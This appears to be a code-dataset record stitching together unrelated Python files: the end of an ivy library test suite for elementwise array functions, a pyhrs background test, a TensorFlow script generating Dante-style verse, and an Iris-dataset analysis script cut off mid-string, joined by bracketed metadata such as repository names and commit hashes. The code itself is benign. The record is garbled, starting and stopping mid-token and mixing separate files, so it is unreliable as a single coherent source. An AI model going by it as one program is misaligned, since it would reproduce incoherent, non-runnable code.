)\n\n\n# logical_and\n@given(\n dtype_and_x=helpers.dtype_and_values((\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_logical_and(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"logical_and\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# logical_not\n@given(\n dtype_and_x=helpers.dtype_and_values((\"bool\",)),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_logical_not(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"logical_not\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# logical_or\n@given(\n dtype_and_x=helpers.dtype_and_values((\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_logical_or(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"logical_or\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# logical_xor\n@given(\n dtype_and_x=helpers.dtype_and_values((\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_logical_xor(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"logical_xor\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# multiply\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_multiply(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"multiply\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# negative\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_negative(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"negative\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# not_equal\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_not_equal(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"not_equal\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# positive\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_positive(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"positive\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# pow\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_pow(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n if (\n any(xi < 0 for xi in x[1])\n and ivy.is_int_dtype(dtype[1])\n and ivy.is_int_dtype(dtype[0])\n ):\n return # ints to negative int powers not allowed\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"pow\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# remainder\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_remainder(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n assume(not any(xi == 0 for xi in x[1]))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"remainder\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# round\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_round(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"round\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# sign\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_sign(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"sign\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# sin\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_sin(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"sin\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# sinh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_sinh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"sinh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# square\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_square(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"square\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# sqrt\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_sqrt(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"sqrt\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# subtract\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_subtract(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"subtract\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# tan\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_tan(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"tan\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# tanh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_tanh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"tanh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# trunc\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_trunc(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"trunc\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# Extra #\n# ------#\n\n\n# erf\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_erf(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"erf\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# minimum\n@given(\n xy=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, n_arrays=2),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(1, 2),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_minimum(\n xy,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n device,\n call,\n fw,\n):\n # smoke test\n dtype = xy[0]\n x = xy[1][0]\n y = xy[1][1]\n if fw == \"torch\" and any(d in [\"uint16\", \"uint32\", \"uint64\"] for d in dtype):\n return\n if (\n (isinstance(xy[1][0], Number) or isinstance(xy[1], Number))\n and as_variable is True\n and fw == \"mxnet\"\n ):\n # mxnet does not support 0-dimensional variables\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"minimum\",\n x1=np.asarray(x, dtype=dtype[0]),\n x2=ivy.array(y, dtype=dtype[1]),\n )\n\n\n# maximum\n@given(\n xy=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, n_arrays=2),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(1, 2),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_maximum(\n xy,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n device,\n call,\n fw,\n):\n # smoke test\n dtype = xy[0]\n x = xy[1][0]\n y = xy[1][1]\n if fw == \"torch\" and any(d in [\"uint16\", \"uint32\", \"uint64\"] for d in dtype):\n return\n if (\n (isinstance(xy[1][0], Number) or isinstance(xy[1], Number))\n and as_variable is True\n and fw == \"mxnet\"\n ):\n # mxnet does not support 0-dimensional variables\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"maximum\",\n x1=np.asarray(x, dtype=dtype[0]),\n x2=ivy.array(y, dtype=dtype[1]),\n )\n" ]
[ [ "numpy.asarray" ] ]
crawfordsm/pyhrs
[ "b1eeca635a41791e17ce0c5529b427245bded341" ]
[ "pyhrs/tests/test_hrstools.py" ]
[ "# Licensed under a 3-clause BSD style license - see LICENSE.rst\n# This module tests the hrstools\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nfrom astropy.tests.helper import pytest\n\nfrom ..hrstools import *\n\n\ndef test_background(loc=100.0, scale=10):\n b_arr = np.random.normal(size=(100,100), loc=loc, scale=scale)\n med, mad = background(b_arr)\n assert abs(loc - med) < 1.0\n assert abs(scale - mad) < 1.0\n\n" ]
[ [ "numpy.random.normal" ] ]
luca-ant/deep_comedy
[ "c7bc2c564eaa4980f2be6be569e123c4343fe163" ]
[ "generating_scripts/generate_by_word.py" ]
[ "import os\nimport sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport numpy as np\nimport tensorflow as tf\ntf.get_logger().setLevel('ERROR')\n\nfrom dante_by_word.data_preparation import build_vocab\nfrom dante_by_word.text_processing import clean_comedy, prettify_text, special_tokens\nfrom dante_by_word.generate_dante import generate_text\nfrom utils import save_vocab, load_vocab\n\n\nworking_dir = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'dante_by_word')\n\ndivine_comedy_file = os.path.join(os.path.dirname(working_dir), \"divina_commedia\", \"divina_commedia_accent_UTF-8.txt\") \n\n\nwith open(divine_comedy_file,\"r\") as f:\n divine_comedy = f.read()\n\ndivine_comedy = clean_comedy(divine_comedy, special_tokens)\n\nvocab, idx2word, word2idx = build_vocab(divine_comedy)\n\n# Path where the vocab is saved\nlogs_dir = os.path.join(working_dir, 'logs')\nos.makedirs(logs_dir, exist_ok = True) \nvocab_file = os.path.join(logs_dir, 'vocab.json')\n\nvocab, idx2word, word2idx = load_vocab(vocab_file)\n\n# Length of the vocabulary\nvocab_size = len(vocab)\n\n\n# Path where the model is saved\nmodels_dir = os.path.join(working_dir, 'models')\nos.makedirs(models_dir, exist_ok = True) \nmodel_file = os.path.join(models_dir, \"dante_by_word_model.h5\")\n\nmodel = tf.keras.models.load_model(model_file)\n\nSEQ_LENGTH = model.get_layer('embedding').output.shape[1]\nEMBEDDING_DIM = model.get_layer('embedding').output.shape[2]\nfor l in model.layers:\n if l.name == 'first_lstm':\n RNN_TYPE = '2lstm'\n break\n if l.name == 'last_lstm':\n RNN_TYPE = 'lstm' \n break\n if l.name == 'first_gru':\n RNN_TYPE = '2gru' \n break\n if l.name == 'last_gru':\n RNN_TYPE = 'gru' \n break\nif 'lstm' in RNN_TYPE:\n RNN_UNITS = model.get_layer('last_lstm').output.shape[-1]\nif 'gru' in RNN_TYPE:\n RNN_UNITS = model.get_layer('last_gru').output.shape[-1]\n\nmodel.summary()\n\nmodel_filename = 'model_by_word_seq{}_emb{}_{}{}'.format(SEQ_LENGTH, EMBEDDING_DIM, RNN_TYPE, RNN_UNITS)\n\nprint(\"\\nMODEL: {}\\n\".format(model_filename))\n\nos.makedirs(os.path.join(logs_dir, model_filename), exist_ok = True) \n\noutput_file = os.path.join(logs_dir, model_filename, \"output.txt\")\nraw_output_file = os.path.join(logs_dir, model_filename, \"raw_output.txt\")\n\n\ndivine_comedy = divine_comedy.split()\n\n# index_eoc = divine_comedy.index(special_tokens['END_OF_CANTO']) + 1\nindexes = [i for i, x in enumerate(divine_comedy) if x == special_tokens['END_OF_CANTO'] and i > SEQ_LENGTH]\nindex_eoc = np.random.choice(indexes) + 1\nstart_idx = max(0, index_eoc - SEQ_LENGTH)\nstart_string = ' '.join(divine_comedy[start_idx:index_eoc])\n\n#print(start_string)\n\ngenerated_text = generate_text(model, special_tokens, vocab_size, word2idx, idx2word, SEQ_LENGTH, start_string, temperature=1.0)\n\n#print(prettify_text(generated_text, special_tokens))\n\nwith open(output_file,\"w\") as f:\n f.write(prettify_text(generated_text, special_tokens))\n\nwith open(raw_output_file,\"w\") as f:\n f.write(generated_text)" ]
[ [ "tensorflow.keras.models.load_model", "numpy.random.choice", "tensorflow.get_logger" ] ]
peterdt713/Programming_Scripting_Project
[ "a9c41d96d8f6bd709099923723584bca30e619d5" ]
[ "Invest.py" ]
[ "# Peter Thornton, 14 Apr 18\n\n# Initial Investigation into the Iris Data Set\n\n# Below is adapted from https://www.kaggle.com/abhishekkrg/python-iris-data-visualization-and-explanation\n# The following site details a machine learning project in a step-by-step format. This was followed. https://machinelearningmastery.com/machine-learning-in-python-step-by-step/\n# The following aided in understanding Pandas: https://www.datacamp.com/community/tutorials/pandas-tutorial-dataframe-python#question1\n\n\n#Importing Package \nimport sys\nimport numpy\nimport pandas\nfrom pandas.tools.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport warnings\nimport os\nimport scipy\nimport sklearn\nfrom sklearn import model_selection\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\n\n#Import Iris Data set into Pandas\nraw_data=\"iris.data.csv\"\ndataset = pandas.read_csv(raw_data)\n\n# Q: Print Basic Data?\nif input(\"Would you like to view a basic descriptive statistics for the full dataset? (Y/N): \") == \"Y\":\n #Count the size of each Species\n print(dataset.groupby('species').size())\n\n # Describe the Data set\n print(dataset.describe())\n\n# Saving Data to a CSV file\ndata_full = dataset.describe()\n# Check is CSV file already exists (https://www.cyberciti.biz/faq/python-file-exists-examples/)\nif ( not os.path.isfile('Data_Set_Breakdown.csv')):\n data_full.to_csv('Data_Set_Breakdown.csv',sep=',')\n\n\n# Creating a DataFrame for each Species\n# Setosa\nsetosa = dataset[dataset['species']=='setosa']\ndata_setosa = setosa.describe()\n# Q: Print Basic Data?\nif input(\"Would you like to view a basic descriptive statistics for the setosa dataset? (Y/N): \") == \"Y\":\n print(setosa.describe())\n# Check is CSV file already exists (https://www.cyberciti.biz/faq/python-file-exists-examples/)\nif ( not os.path.isfile('Data_Setosa_Breakdown.csv')):\n data_setosa.to_csv('Data_Setosa_Breakdown.csv',sep=',')\n\n# Versicolor\nversicolor = dataset[dataset['species']=='versicolor']\ndata_versicolor = versicolor.describe()\n# Q: Print Basic Data?\nif input(\"Would you like to view a basic descriptive statistics for the versicolor dataset? (Y/N): \") == \"Y\":\n print(versicolor.describe())\n# Check is CSV file already exists (https://www.cyberciti.biz/faq/python-file-exists-examples/)\nif ( not os.path.isfile('Data_Versicolor_Breakdown.csv')):\n data_versicolor.to_csv('Data_Versicolor_Breakdown.csv',sep=',')\n\n# Virginica\nvirginica = dataset[dataset['species']=='virginica']\ndata_virginica = virginica.describe()\n# Q: Print Basic Data?\nif input(\"Would you like to view a basic descriptive statistics for the virginica dataset? (Y/N): \") == \"Y\":\n print(virginica.describe())\n# Check is CSV file already exists (https://www.cyberciti.biz/faq/python-file-exists-examples/)\nif ( not os.path.isfile('Data_Virginica_Breakdown.csv')):\n data_virginica.to_csv('Data_Virginica_Breakdown.csv',sep=',')\n\n#Setosa - Comparison of Petal Length vs Petal Width & Sepal Length vs Sepal width\n# Q: Print Scatterplot?\nif input(\"Would you like to view a scatterplot of the setosa dataset? (Y/N): \") == \"Y\":\n plt.figure()\n fig,ax=plt.subplots(1,2,figsize=(17, 9))\n setosa.plot(x=\"sepal_length\", y=\"sepal_width\", kind=\"scatter\",ax=ax[0],sharex=False,sharey=False,label=\"sepal\",color='r')\n setosa.plot(x=\"petal_length\", y=\"petal_width\", kind=\"scatter\",ax=ax[1],sharex=False,sharey=False,label=\"petal\",color='b')\n ax[0].set(title='Sepal Comparasion Setosa', ylabel='sepal-width')\n ax[1].set(title='Petal Comparasion Setosa', ylabel='petal-width')\n ax[0].legend()\n ax[1].legend()\n plt.show()\n plt.close()\n\n#Versicolor - Comparison of Petal Length vs Petal Width & Sepal Length vs Sepal width\n# Q: Print Scatterplot?\nif input(\"Would you like to view a scatterplot of the versicolor dataset? (Y/N): \") == \"Y\":\n plt.figure()\n fig,ax=plt.subplots(1,2,figsize=(17, 9))\n versicolor.plot(x=\"sepal_length\", y=\"sepal_width\", kind=\"scatter\",ax=ax[0],sharex=False,sharey=False,label=\"sepal\",color='r')\n versicolor.plot(x=\"petal_length\", y=\"petal_width\", kind=\"scatter\",ax=ax[1],sharex=False,sharey=False,label=\"petal\",color='b')\n ax[0].set(title='Sepal Comparasion Versicolor', ylabel='sepal-width')\n ax[1].set(title='Petal Comparasion Versicolor', ylabel='petal-width')\n ax[0].legend()\n ax[1].legend()\n plt.show()\n plt.close()\n\n#Virginica - Comparison of Petal Length vs Petal Width & Sepal Length vs Sepal width\n# Q: Print Scatterplot?\nif input(\"Would you like to view a scatterplot of the virginica dataset? (Y/N): \") == \"Y\":\n plt.figure()\n fig,ax=plt.subplots(1,2,figsize=(17, 9))\n virginica.plot(x=\"sepal_length\", y=\"sepal_width\", kind=\"scatter\",ax=ax[0],sharex=False,sharey=False,label=\"sepal\",color='r')\n virginica.plot(x=\"petal_length\", y=\"petal_width\", kind=\"scatter\",ax=ax[1],sharex=False,sharey=False,label=\"petal\",color='b')\n ax[0].set(title='Sepal Comparasion Virginica', ylabel='sepal-width')\n ax[1].set(title='Petal Comparasion Virginica', ylabel='petal-width')\n ax[0].legend()\n ax[1].legend()\n plt.show()\n plt.close()\n\n#Scatter plot of Sepal and Petal - All Species\n# Q: Print Scatterplot?\nif input(\"Would you like to view a scatterplot of the full dataset? (Y/N): \") == \"Y\":\n plt.figure()\n fig,ax=plt.subplots(1,2,figsize=(21, 10))\n\n setosa.plot(x=\"sepal_length\", y=\"sepal_width\", kind=\"scatter\",ax=ax[0],label='setosa',color='r')\n versicolor.plot(x=\"sepal_length\",y=\"sepal_width\",kind=\"scatter\",ax=ax[0],label='versicolor',color='b')\n virginica.plot(x=\"sepal_length\", y=\"sepal_width\", kind=\"scatter\", ax=ax[0], label='virginica', color='g')\n\n setosa.plot(x=\"petal_length\", y=\"petal_width\", kind=\"scatter\",ax=ax[1],label='setosa',color='r')\n versicolor.plot(x=\"petal_length\",y=\"petal_width\",kind=\"scatter\",ax=ax[1],label='versicolor',color='b')\n virginica.plot(x=\"petal_length\", y=\"petal_width\", kind=\"scatter\", ax=ax[1], label='virginica', color='g')\n\n ax[0].set(title='Sepal Comparasion ', ylabel='sepal-width')\n ax[1].set(title='Petal Comparasion', ylabel='petal-width')\n ax[0].legend()\n ax[1].legend()\n plt.show()\n plt.close()\n\n# The below code is adapted from the following: https://machinelearningmastery.com/machine-learning-in-python-step-by-step/\n\n# Box and Whisker plots - All species\n# Q: Print Box & Whisker plot?\nif input(\"Would you like to view a Box & Whisker plot of the full dataset? (Y/N): \") == \"Y\":\n dataset.plot(kind='box', subplots=True, layout=(2,2), sharex=False, sharey=False)\n plt.show()\n plt.close()\n\n# histogram - All species\n# Q: Print Histogram?\nif input(\"Would you like to view a histogram of the full dataset? (Y/N): \") == \"Y\":\n dataset.hist()\n plt.show()\n plt.close()\n\n# scatter plot matrix - All species\n# Q: Print Scatter Matrix?\nif input(\"Would you like to view a scatter matrix of the full dataset? (Y/N): \") == \"Y\":\n scatter_matrix(dataset)\n plt.show()\n\n# Q: Machine Learning?\nif input(\"Would you like to build and test a machine learning model? (Y/N): \") == \"Y\":\n # Split-out validation dataset\n print(\"Splitting the data into 0.8 for learning and 0.2 for testing...\")\n array = dataset.values\n X = array[:,0:4]\n Y = array[:,4]\n validation_size = 0.20\n seed = 7\n X_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y, test_size=validation_size, random_state=seed)\n\n # Test options and evaluation metric\n seed = 7\n scoring = 'accuracy'\n \n print(\"Creating 5 models,'LR' LogisticRegression, 'LDA' LinearDiscriminantAnalysis, 'KNN' 